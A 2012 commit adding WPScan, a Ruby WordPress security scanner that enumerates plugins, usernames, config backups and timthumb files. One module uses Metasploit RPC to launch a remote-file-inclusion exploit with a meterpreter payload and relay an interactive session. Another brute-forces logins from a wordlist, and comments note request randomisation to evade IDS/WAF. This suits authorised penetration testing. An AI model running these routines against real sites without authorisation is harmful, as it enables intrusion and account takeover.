WPScan files

This commit is contained in:
ethicalhack3r
2012-07-11 22:49:18 +02:00
parent 6da2da90f7
commit 3d78cbc4ac
190 changed files with 43701 additions and 0 deletions

209
lib/wpscan/exploit.rb Normal file
View File

@@ -0,0 +1,209 @@
#!/usr/bin/env ruby
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# ryandewhurst at gmail
#
# This library should contain all methods for exploitation.
class Exploit
attr_accessor :rhost, :type, :uri, :postdata
def initialize(wp_url, type, uri, postdata, use_proxy, proxy_addr, proxy_port)
@wp_url = URI.parse(wp_url.to_s)
@rhost = @wp_url.host
@path = @wp_url.path
@type = type
@uri = uri
@postdata = postdata
@session_in_use = nil
@use_proxy = use_proxy
@proxy_addr = proxy_addr
@proxy_port = proxy_port
start()
end
# figure out what to exploit
def start()
if @type == "RFI"
puts
puts "[?] Exploit? [y/n]"
answer = Readline.readline
if answer =~ /^y/i
msf_module = "exploit/unix/webapp/php_include"
payload = "php/meterpreter/bind_tcp"
exploit(msf_module, payload)
else
return false
end
elsif @type == "SQLI"
end
end
# exploit
def exploit(msf_module, payload)
exploit_info(msf_module,payload)
if @postdata == ""
result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:PAYLOAD => payload})
else
result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:POSTDATA => @postdata, :PAYLOAD => payload})
end
if result['result'] == "success"
puts "[*] Exploit worked! Waiting for a session..."
session_spawn_timer = Time.new
while sessions.nil? or sessions.empty?
# wait for a session to spawn with a timeout of 1 minute
if (Time.now - session_spawn_timer > 60)
puts "[ERROR] Session was not created... exiting."
return false
end
end
choose_session()
input = nil
while input.nil?
puts meterpreter_read(last_session_id())
input = Readline.readline
if input == "exit"
kill_session(@session_in_use)
return false
end
meterpreter_write(last_session_id(), input)
input = nil
end
else
puts "[ERROR] Exploit failed! :("
return false
end
end
# output our exploit data
def exploit_info(msf_module,payload)
info = RpcClient.new.get_exploit_info(msf_module)
puts
puts "| [EXPLOIT]"
puts "| Name: " + info['name']
puts "| Description: " + info['description'].gsub!("\t", "").gsub!("\n\n","\n").gsub!("\n", "\n| ").chop!
puts "| [OPTIONS]"
puts "| RHOST: " + @rhost
puts "| PATH: " + @path
puts "| URI: " + uri
puts "| POSTDATA: " + @postdata if @postdata != ""
puts "| Payload: " + payload
puts
end
# not sure if this is needed?! not used.
def job_id()
jobs = RpcClient.new.jobs()
puts jobs
end
# all sessions and related session data
def sessions()
sessions = RpcClient.new.sessions()
end
# the last active session id created
def last_session_id()
sessions.keys.last
end
# a count of the amount of active sessions
def session_count()
sessions().size
end
# if there is more than 1 session,
# allow the user to choose one.
def choose_session()
if session_count() >= 2
puts "[?] We have " + session_count().to_s + " sessions running. Please choose one by id."
open_sessions = ""
sessions.keys.each do |open_session|
open_sessions += open_session.to_s + " "
end
puts open_sessions
use_session = Readline.readline
puts "Using session " + use_session.to_s
@session_in_use = use_session
else
puts "Using session " + last_session_id().to_s
@session_in_use = last_session_id()
end
end
# kill a session by session id
def kill_session(id)
begin
killed = RpcClient.new.kill_session(id)
if killed['result'] == "success"
puts "[-] Session " + id.to_s + " killed."
end
rescue
puts "[] Session " + id.to_s + " does not exist."
return false
end
end
# read data from a shell, meterpreter is not classed
# as a shell.
def read_shell(id)
RpcClient.new.read_shell(id)['data']
end
# write data to a shell, meterpreter is not classed
# as a shell.
def write_shell(id, data)
RpcClient.new.write_shell(id, data)
end
# read data from a meterpreter session
# data must be base64 decoded.
def meterpreter_read(id)
Base64.decode64(RpcClient.new.meterpreter_read(id)['data'])
end
# write data to a meterpreter session
# data must be base64 encoded.
def meterpreter_write(id, data)
RpcClient.new.meterpreter_write(id, Base64.encode64(data))
end
end

View File

@@ -0,0 +1,116 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# ryandewhurst at gmail
#
module BruteForce
# param array of string logins
# param string wordlist_path
def brute_force(logins, wordlist_path)
hydra = Browser.instance.hydra
number_of_passwords = BruteForce.lines_in_file(wordlist_path)
login_url = login_url()
logins.each do |login|
queue_count = 0
request_count = 0
password_found = false
File.open(wordlist_path, 'r').each do |password|
# ignore file comments, but will miss passwords if they start with a hash...
next if password[0,1] == '#'
# keep a count of the amount of requests to be sent
request_count += 1
queue_count += 1
# create local vars for on_complete call back, Issue 51.
username = login
password = password
# the request object
request = Browser.instance.forge_request(login_url,
:method => :post,
:params => {:log => username, :pwd => password},
:cache_timeout => 0
)
# tell hydra what to do when the request completes
request.on_complete do |response|
puts "\n Trying Username : #{username} Password : #{password}" if @verbose
if response.body =~ /login_error/i
puts "\nIncorrect username and/or password." if @verbose
elsif response.code == 302
puts "\n [SUCCESS] Username : #{username} Password : #{password}\n"
password_found = true
elsif response.timed_out?
puts "ERROR: Request timed out."
elsif response.code == 0
puts "ERROR: No response from remote server. WAF/IPS?"
elsif response.code =~ /^50/
puts "ERROR: Server error, try reducing the number of threads."
else
puts "\nERROR: We recieved an unknown response for #{password}..."
if @verbose
puts 'Code: ' + response.code.to_s
puts 'Body: ' + response.body
puts
end
end
end
# move onto the next username if we have found a valid password
break if password_found
# queue the request to be sent later
hydra.queue(request)
# progress indicator
print "\r Brute forcing user '#{username}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete."
# it can take a long time to queue 2 million requests,
# for that reason, we queue @threads, send @threads, queue @threads and so on.
# hydra.run only returns when it has recieved all of its,
# responses. This means that while we are waiting for @threads,
# responses, we are waiting...
if queue_count >= Browser.instance.max_threads
hydra.run
queue_count = 0
puts "Sent #{Browser.instance.max_threads} requests ..." if @verbose
end
end
# run all of the remaining requests
hydra.run
end
end
# Counts the number of lines in the wordlist
# It can take a couple of minutes on large
# wordlists, although bareable.
def self.lines_in_file(file_path)
lines = 0
File.open(file_path, 'r').each { |line| lines += 1 }
lines
end
end

View File

@@ -0,0 +1,59 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module Malwares
# Used as cache : nil => malwares not checked, [] => no malwares, otherwise array of malwares url found
@malwares = nil
def has_malwares?(malwares_file_path = nil)
!malwares(malwares_file_path).empty?
end
# return array of string (url of malwares found)
def malwares(malwares_file_path = nil)
if @malwares.nil?
malwares_found = []
malwares_file = Malwares.malwares_file(malwares_file_path)
index_page_body = Browser.instance.get(@uri.to_s).body
File.open(malwares_file, 'r') do |file|
file.readlines.collect do |url|
chomped_url = url.chomp
if chomped_url.length > 0
malwares_found += index_page_body.scan(Malwares.malware_pattern(chomped_url))
end
end
end
malwares_found.flatten!
malwares_found.uniq!
@malwares = malwares_found
end
@malwares
end
def self.malwares_file(malwares_file_path)
malwares_file_path || DATA_DIR + '/malwares.txt'
end
def self.malware_pattern(url)
%r{<(?:script|iframe).* src=(?:"|')(#{url}[^"']*)(?:"|')[^>]*>}i
end
end

View File

@@ -0,0 +1,68 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WebSite
# check if the remote website is
# actually running wordpress.
def is_wordpress?
wordpress = false
response = Browser.instance.get(login_url(),
:follow_location => true,
:max_redirects => 2
)
if response.body =~ %r{WordPress}i
wordpress = true
else
response = Browser.instance.get(xmlrpc_url(),
:follow_location => true,
:max_redirects => 2
)
if response.body =~ %r{XML-RPC server accepts POST requests only}i
wordpress = true
end
end
wordpress
end
def xmlrpc_url
@uri.merge("xmlrpc.php").to_s
end
# Checks if the remote website is up.
def is_online?
Browser.instance.get(@uri.to_s).code != 0
end
# see if the remote url returns 30x redirect
# return a string with the redirection or nil
def redirection(url = nil)
url ||= @uri.to_s
response = Browser.instance.get(url)
if response.code == 301 || response.code == 302
redirection = response.headers_hash['location']
end
redirection
end
end

View File

@@ -0,0 +1,56 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpConfigBackup
# Checks to see if wp-config.php has a backup
# See http://www.feross.org/cmsploit/
# return an array of backup config files url
def config_backup
found = []
backups = WpConfigBackup.config_backup_files
browser = Browser.instance
hydra = browser.hydra
backups.each do |file|
file_url = @uri.merge(URI.escape(file)).to_s
request = browser.forge_request(file_url)
request.on_complete do |response|
if response.body[%r{define}i] and not response.body[%r{<\s?html}i]
found << file_url
end
end
hydra.queue(request)
end
hydra.run
found
end
# @return Array
def self.config_backup_files
[
'wp-config.php~','#wp-config.php#','wp-config.php.save','wp-config.php.swp','wp-config.php.swo','wp-config.php_bak',
'wp-config.bak', 'wp-config.php.bak', 'wp-config.save'
] # thanks to Feross.org for these
end
end

View File

@@ -0,0 +1,30 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpFullPathDisclosure
# Check for Full Path Disclosure (FPD)
def has_full_path_disclosure?
response = Browser.instance.get(full_path_disclosure_url())
response.body[%r{Fatal error}i]
end
def full_path_disclosure_url
@uri.merge("wp-includes/rss-functions.php").to_s
end
end

View File

@@ -0,0 +1,109 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpLoginProtection
@@login_protection_method_pattern = /^has_(.*)_protection\?/i
# Used as cache
@login_protection_plugin = nil
def has_login_protection?
!login_protection_plugin().nil?
end
# Checks if a login protection plugin is enabled
# http://code.google.com/p/wpscan/issues/detail?id=111
# return a WpPlugin object or nil if no one is found
def login_protection_plugin
unless @login_protection_plugin
protected_methods.grep(@@login_protection_method_pattern).each do |symbol_to_call|
if send(symbol_to_call)
plugin_name = symbol_to_call[@@login_protection_method_pattern, 1].gsub('_', '-')
return @login_protection_plugin = WpPlugin.new(
WpPlugin::create_location_url_from_name(
plugin_name,
@uri.to_s
),
:name => plugin_name
)
end
end
@login_protection_plugin = nil
end
@login_protection_plugin
end
protected
# Thanks to Alip Aswalid for providing this method.
# http://wordpress.org/extend/plugins/login-lockdown/
def has_login_lockdown_protection?
Browser.instance.get(login_url()).body =~ %r{Login LockDown}i ? true : false
end
# http://wordpress.org/extend/plugins/login-lock/
def has_login_lock_protection?
Browser.instance.get(login_url()).body =~ %r{LOGIN LOCK} ? true : false
end
# http://wordpress.org/extend/plugins/better-wp-security/
def has_better_wp_security_protection?
Browser.instance.get(better_wp_security_url()).code != 404
end
def better_wp_security_url
WpPlugin.create_location_url_from_name("better-wp-security", @uri)
end
# http://wordpress.org/extend/plugins/simple-login-lockdown/
def has_simple_login_lockdown_protection?
Browser.instance.get(simple_login_lockdown_url()).code != 404
end
def simple_login_lockdown_url
WpPlugin.create_location_url_from_name("simple-login-lockdown", @uri)
end
# http://wordpress.org/extend/plugins/login-security-solution/
def has_login_security_solution_protection?
Browser.instance.get(login_security_solution_url()).code != 404
end
def login_security_solution_url
WpPlugin.create_location_url_from_name("login-security-solution", @uri)
end
# http://wordpress.org/extend/plugins/limit-login-attempts/
def has_limit_login_attempts_protection?
Browser.instance.get(limit_login_attempts_url()).code != 404
end
def limit_login_attempts_url
WpPlugin.create_location_url_from_name("limit-login-attempts", @uri)
end
# http://wordpress.org/extend/plugins/bluetrait-event-viewer/
def has_bluetrait_event_viewer_protection?
Browser.instance.get(bluetrait_event_viewer_url()).code != 404
end
def bluetrait_event_viewer_url
WpPlugin.create_location_url_from_name("bluetrait-event-viewer", @uri)
end
end

View File

@@ -0,0 +1,130 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpPlugins
# Enumerate installed plugins.
# Available options : see #targets_url
#
# return array of WpPlugin
def plugins_from_aggressive_detection(options = {})
browser = Browser.instance
hydra = browser.hydra
found_plugins = options[:only_vulnerable_ones] ? [] : plugins_from_passive_detection()
request_count = 0
queue_count = 0
local_404_hash = error_404_hash()
valid_response_codes = WpPlugins.valid_response_codes()
targets_url = plugins_targets_url(options)
targets_url.each do |target_url|
request = browser.forge_request(target_url, :cache_timeout => 0, :follow_location => true)
request_count += 1
request.on_complete do |response|
print "\rChecking for " + targets_url.size.to_s + " total plugins... #{(request_count * 100) / targets_url.size}% complete." # progress indicator
if valid_response_codes.include?(response.code)
if Digest::MD5.hexdigest(response.body) != local_404_hash
found_plugins << WpPlugin.new(target_url)
end
end
end
hydra.queue(request)
queue_count += 1
if queue_count == browser.max_threads
hydra.run
queue_count = 0
end
end
hydra.run
found_plugins
end
def self.valid_response_codes
[200, 403, 301, 302]
end
# Available options :
# :only_vulnerable_ones - default false
# :plugins_file - default DATA_DIR/plugins.txt
# :plugin_vulns_file - default DATA_DIR/plugin_vulns.xml
#
# @return Array of String
def plugins_targets_url(options = {})
only_vulnerable = options[:only_vulnerable_ones] || false
plugins_file = options[:plugins_file] || "#{DATA_DIR}/plugins.txt"
plugin_vulns_file = options[:plugin_vulns_file] || "#{DATA_DIR}/plugin_vulns.xml"
targets_url = []
if only_vulnerable == false
# Open and parse the 'most popular' plugin list...
File.open(plugins_file, 'r') do |file|
file.readlines.collect do |line|
targets_url << WpPlugin.create_url_from_raw(line.chomp, @uri)
end
end
end
xml = Nokogiri::XML(File.open(plugin_vulns_file)) do |config|
config.noblanks
end
# We check if the plugin name from the plugin_vulns_file is already in targets, otherwise we add it
xml.xpath("//plugin").each do |node|
plugin_name = node.attribute('name').text
if targets_url.grep(%r{/#{plugin_name}/}).empty?
targets_url << WpPlugin.create_location_url_from_name(plugin_name, url())
end
end
targets_url.flatten!
targets_url.uniq!
# randomize the plugins array to *maybe* help in some crappy IDS/IPS/WAF detection
targets_url.sort_by { rand }
end
# http://code.google.com/p/wpscan/issues/detail?id=42
# plugins can be found in the source code :
# <script src='http://example.com/wp-content/plugins/s2member/...' />
# <link rel='stylesheet' href='http://example.com/wp-content/plugins/wp-minify/..' type='text/css' media='screen'/>
# ...
# return array of WpPlugin
def plugins_from_passive_detection
plugins = []
response = Browser.instance.get(url())
plugins_names = response.body.scan(%r{(?:[^=:]+)\s?(?:=|:)\s?(?:"|')[^"']+\\?/wp-content\\?/plugins\\?/([^/\\"']+)\\?(?:/|"|')}i)
plugins_names.flatten!
plugins_names.uniq!
plugins_names.each do |plugin_name|
plugins << WpPlugin.new(
WpPlugin.create_location_url_from_name(plugin_name, url()),
:name => plugin_name
)
end
plugins
end
end

View File

@@ -0,0 +1,36 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpReadme
# Checks to see if the readme.html file exists
#
# This file comes by default in a wordpress installation,
# and if deleted is reinstated with an upgrade.
def has_readme?
response = Browser.instance.get(readme_url())
unless response.code == 404
response.body =~ %r{wordpress}i
end
end
def readme_url
@uri.merge("readme.html").to_s
end
end

View File

@@ -0,0 +1,102 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpTimthumbs
# Used as cache : nil => timthumbs not checked, [] => no timthumbs, otherwise array of timthumbs url found
@wp_timthumbs = nil
def has_timthumbs?(options = {})
!timthumbs(options).empty?
end
# Available options :
# :theme_name
# :timthumbs_file
#
# return array of string (url of timthumbs found), can be empty
def timthumbs(options = {})
if @wp_timthumbs.nil?
browser = Browser.instance
hydra = browser.hydra
found_timthumbs = []
request_count = 0
queue_count = 0
targets_url = timthumbs_targets_url(options)
targets_url.each do |target_url|
request = browser.forge_request(target_url, :cache_timeout => 0)
request_count += 1
request.on_complete do |response|
print "\rChecking for " + targets_url.size.to_s + " total timthumb files... #{(request_count * 100) / targets_url.size}% complete." # progress indicator
if response.body =~ /no image specified/i
found_timthumbs << target_url
end
end
hydra.queue(request)
queue_count += 1
if queue_count == browser.max_threads
hydra.run
queue_count = 0
end
end
hydra.run
@wp_timthumbs = found_timthumbs
end
@wp_timthumbs
end
# Available options :
# :theme_name
# :timthumbs_file
#
# retrun array of string
def timthumbs_targets_url(options = {})
targets = options[:theme_name] ? targets_url_from_theme(options[:theme_name]) : []
timthumbs_file = WpTimthumbs.timthumbs_file(options[:timthumbs_file])
targets += File.open(timthumbs_file, 'r') {|file| file.readlines.collect{|line| @uri.merge(line.chomp).to_s}}
targets.uniq!
# randomize the array to *maybe* help in some crappy IDS/IPS/WAF evasion
targets.sort_by { rand }
end
def self.timthumbs_file(timthumbs_file_path = nil)
timthumbs_file_path || DATA_DIR + "/timthumbs.txt"
end
protected
def targets_url_from_theme(theme_name)
targets = []
theme_name = URI.escape(theme_name)
[
'timthumb.php', 'lib/timthumb.php', 'inc/timthumb.php', 'includes/timthumb.php',
'scripts/timthumb.php', 'tools/timthumb.php', 'functions/timthumb.php'
].each do |file|
targets << @uri.merge("wp-content/themes/#{theme_name}/#{file}").to_s
end
targets
end
end

View File

@@ -0,0 +1,52 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpUsernames
# Enumerate wordpress usernames by using Veronica Valeros's technique:
# http://seclists.org/fulldisclosure/2011/May/493
#
# Available options :
# :range - default : 1..10
#
# returns an array of usernames (can be empty)
def usernames(options = {})
range = options[:range] || (1..10)
browser = Browser.instance
usernames = []
range.each do |author_id|
response = browser.get(author_url(author_id))
if response.code == 301 # username in location?
usernames << response.headers_hash['location'][%r{/author/([^/]+)/}i, 1]
elsif response.code == 200 # username in body?
usernames << response.body[%r{posts by (.*) feed}i, 1]
end
end
# clean the array, remove nils and possible duplicates
usernames.flatten!
usernames.compact!
usernames.uniq
end
def author_url(author_id)
@uri.merge("?author=#{author_id}").to_s
end
end

156
lib/wpscan/msfrpc_client.rb Normal file
View File

@@ -0,0 +1,156 @@
#!/usr/bin/env ruby
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# ryandewhurst at gmail
#
# This library should contain all methods to communicate with msfrpc.
# See framework/documentation/msfrpc.txt for further information.
# msfrpcd -S -U wpscan -P wpscan -f -t Web -u /RPC2
# name = exploit/unix/webapp/php_include
class RpcClient
def initialize
@config = {}
@config['host'] = "127.0.0.1"
@config['path'] = "/RPC2"
@config['port'] = 55553
@config['user'] = "wpscan"
@config['pass'] = "wpscan"
@auth_token = nil
@last_auth = nil
begin
@server = XMLRPC::Client.new3( :host => @config["host"], :path => @config["path"], :port => @config["port"], :user => @config["user"], :password => @config["pass"])
rescue => e
puts "[ERROR] Could not create XMLRPC object."
puts e.faultCode
puts e.faultString
end
end
# login to msfrpcd
def login()
result = @server.call("auth.login", @config['user'], @config['pass'])
if result['result'] == "success"
@auth_token = result['token']
@last_auth = Time.new
logged_in = true
else
puts "[ERROR] Invalid login credentials provided to msfrpcd."
logged_in = false
end
end
# check authentication
def authenticate()
login() if @auth_token.nil?
login() if (Time.now - @last_auth > 600)
end
# retrieve information about the exploit
def get_exploit_info(name)
authenticate()
result = @server.call('module.info', @auth_token, 'exploit', name)
return result
end
# retrieve exploit options
def get_options(name)
authenticate()
result = @server.call('module.options', @auth_token, 'exploit',name)
return result
end
# retrieve the exploit payloads
def get_payloads(name)
authenticate()
result = @server.call('module.compatible_payloads', @auth_token, name)
return result
end
# execute exploit
def exploit(name, opts)
authenticate()
result = @server.call('module.execute', @auth_token, 'exploit', name, opts)
return result
end
# list msf jobs
def jobs()
authenticate()
result = @server.call('job.list', @auth_token)
return result
end
# list msf sessions
def sessions()
authenticate()
result = @server.call('session.list', @auth_token)
return result
end
# kill msf session
def kill_session(id)
authenticate()
result = @server.call('session.stop', @auth_token, id)
return result
end
# reads any pending output from session
def read_shell(id)
authenticate()
result = @server.call('session.shell_read', @auth_token, id)
return result
end
# writes the specified input into the session
def write_shell(id, data)
authenticate()
result = @server.call('session.shell_write', @auth_token, id, data)
return result
end
def meterpreter_read(id)
authenticate()
result = @server.call('session.meterpreter_read', @auth_token, id)
return result
end
def meterpreter_write(id, data)
authenticate()
result = @server.call('session.meterpreter_write', @auth_token, id, data)
return result
end
end

41
lib/wpscan/vulnerable.rb Normal file
View File

@@ -0,0 +1,41 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class Vulnerable
attr_reader :vulns_xml, :vulns_xpath
# @return an array of WpVulnerability (can be empty)
def vulnerabilities
vulnerabilities = []
xml = Nokogiri::XML(File.open(@vulns_xml)) do |config|
config.noblanks
end
xml.xpath(@vulns_xpath).each do |node|
vulnerabilities << WpVulnerability.new(
node.search('title').text,
node.search('reference').text,
node.search('type').text
)
end
vulnerabilities
end
end

96
lib/wpscan/wp_plugin.rb Normal file
View File

@@ -0,0 +1,96 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
require "#{WPSCAN_LIB_DIR}/vulnerable"
class WpPlugin < Vulnerable
@@location_url_pattern = %r{^(https?://.*/([^/]+)/)}i
attr_reader :name, :location_uri
def initialize(location_url, options = {})
@location_uri = WpPlugin.location_uri_from_url(location_url)
@name = options[:name] || WpPlugin.extract_name_from_location_url(location_url)
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/plugin_vulns.xml'
@vulns_xpath = "//plugin[@name='#{@name}']/vulnerability"
end
def location_url
@location_uri.to_s
end
def ==(plugin)
plugin.name == @name
end
def <=>(plugin)
plugin.name <=> @name
end
# http://code.google.com/p/wpscan/issues/detail?id=97
def version
response = Browser.instance.get(@location_uri.merge("readme.txt").to_s)
response.body[%r{stable tag: #{WpVersion.version_pattern}}i, 1]
end
# Discover any error_log files created by WordPress
# These are created by the WordPress error_log() function
# They are normally found in the /plugins/ directory,
# however can also be found in their specific plugin dir.
# http://www.exploit-db.com/ghdb/3714/
def error_log?
Browser.instance.get(error_log_url()).body[%r{PHP Fatal error}i] ? true : false
end
def error_log_url
@location_uri.merge("error_log").to_s
end
# Is directory listing enabled?
# WordPress denies directory listing however,
# forgets about the plugin directory.
def directory_listing?
Browser.instance.get(location_url()).body[%r{<title>Index of}] ? true : false
end
def self.create_location_url_from_name(name, target_uri)
if target_uri.is_a?(String)
target_uri = URI.parse(target_uri)
end
target_uri.merge(URI.escape("$wp-plugins$/#{name}/")).to_s
end
def self.create_url_from_raw(raw, target_uri)
target_uri.merge(URI.escape("$wp-plugins$/#{raw}")).to_s
end
protected
def self.extract_name_from_location_url(location_url)
location_url[@@location_url_pattern, 2]
end
def self.location_uri_from_url(location_url)
valid_location_url = location_url[%r{^(https?://.*/)[^.]+\.[^/]+$}, 1]
unless valid_location_url
valid_location_url = add_trailing_slash(location_url)
end
URI.parse(valid_location_url)
end
end

108
lib/wpscan/wp_target.rb Normal file
View File

@@ -0,0 +1,108 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class WpTarget
include WebSite
include WpReadme
include WpFullPathDisclosure
include WpConfigBackup
include WpLoginProtection
include Malwares
include WpUsernames
include WpTimthumbs
include WpPlugins
include BruteForce
@error_404_hash = nil
attr_reader :uri, :verbose
def initialize(target_url, options = {})
raise "Empty URL" if !target_url
